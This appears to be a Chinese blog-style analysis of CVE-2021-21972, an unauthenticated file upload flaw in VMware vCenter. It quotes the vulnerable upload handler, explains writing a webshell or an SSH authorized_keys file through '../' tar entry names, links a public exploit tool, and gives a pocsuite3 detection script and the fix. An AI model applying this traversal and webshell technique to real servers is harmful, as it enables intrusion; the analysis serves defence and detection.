如何进行vCenter 6.5-7.0 RCE漏洞CVE-2021-21972分析
如何进行vCenter 6.5-7.0 RCE漏洞CVE-2021-21972分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。
0x01. 漏洞介绍
vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。
CVE-2021-21972 是Vcenter的一个未授权文件上传漏洞。该漏洞可以上传文件至vcenter服务器的任意位置。由于该服务System权限,可以任意写,可上传webshell并执行,如果是Linux环境并开放了ssh,可上传公钥直接通过ssh登录。
0x02. 漏洞分析
vCenter Server 的 vROPS 插件的 API 采用spring编写。部分敏感接口未经过鉴权,其中uploadova
接口存在一个上传 OVA 文件的功能:
@RequestMapping( value = {"/uploadova"}, method = {RequestMethod.POST} ) public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception { logger.info("Entering uploadOvaFile api"); int code = uploadFile.isEmpty() ? 400 : 200; PrintWriter wr = null;... response.setStatus(code); String returnStatus = "SUCCESS"; if (!uploadFile.isEmpty()) { try { logger.info("Downloading OVA file has been started"); logger.info("Size of the file received : " + uploadFile.getSize()); InputStream inputStream = uploadFile.getInputStream(); File dir = new File("/tmp/unicorn_ova_dir"); if (!dir.exists()) { dir.mkdirs(); } else { String[] entries = dir.list(); String[] var9 = entries; int var10 = entries.length; for(int var11 = 0; var11 < var10; ++var11) { String entry = var9[var11]; File currentFile = new File(dir.getPath(), entry); currentFile.delete(); } logger.info("Successfully cleaned : /tmp/unicorn_ova_dir"); } TarArchiveInputStream in = new TarArchiveInputStream(inputStream); TarArchiveEntry entry = in.getNextTarEntry(); ArrayList result = new ArrayList();
while(entry != null) { if (entry.isDirectory()) { entry = in.getNextTarEntry(); } else { File curfile = new File("/tmp/unicorn_ova_dir", entry.getName()); File parent = curfile.getParentFile(); if (!parent.exists()) { parent.mkdirs();
目的是将 TAR 文件解压后上传到/tmp/unicorn_ova_dir
目录,直接将 tar 文件名与/tmp/unicorn_ova_dir
拼接并写入文件。
因此文件名中包含../
绕过当前目录限制,上传文件至任意位置。
通常情况下可以在目标服务器上写入 JSP webshell 文件(服务是 System 权限,可以任意文件写),利用工具 https://github.com/NS-Sp4ce/CVE-2021-21972。
如果环境为Linux且开放了ssh,可以创建一个包含../../home/vsphere-ui/.ssh/authorized_keys
的 tar 文件并上传,通过ssh登陆:
$ ssh 10.211.55.4 -lvsphere-uiVMware vCenter Server 7.0.1.00100Type: vCenter Server with an embedded Platform Services Controllervsphere-ui@bogon [ ~ ]$ iduid=1016(vsphere-ui) gid=100(users) groups=100(users),59001(cis)
0x03 检测poc
#!/usr/bin/env python# coding: utf-8from urllib.parse import urljoinfrom pocsuite3.api import POCBase, Output, register_poc, logger, requestsclass DemoPOC(POCBase): vulID = '' version = '1.0' author = [''] vulDate = '2021-02-24' createDate = '2021-02-24' updateDate = '2021-02-24' references = [''] name = 'VMware vCenter 未授权RCE漏洞' appPowerLink = '' appName = 'VMware vCenter' appVersion = ' 7.0 U1c 之前的 7.0 版本、6.7 U3l 之前的 6.7 版本、 6.5 U3n 之前的 6.5 版本' vulType = '' desc = ''' VMware vCenter 未授权RCE漏洞 ''' samples = [''] install_requires = [''] def _verify(self): result = {} try: vul_url = urljoin(self.url, "/ui/vropspluginui/rest/services/uploadova") resp1 = requests.get(self.url) resp2 = requests.get(vul_url) if '/vsphere-client' in resp1.text and resp2.status_code == 405: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url except Exception as e: logger.error(e) return self.parse_output(result) def _attack(self): return self._verify() def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('Internet nothing returned') return outputregister_poc(DemoPOC)
0x04 修复方式
vmware修复方法比较简单,直接关闭插件。
关于如何进行vCenter 6.5-7.0 RCE漏洞CVE-2021-21972分析问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注行业资讯频道了解更多相关知识。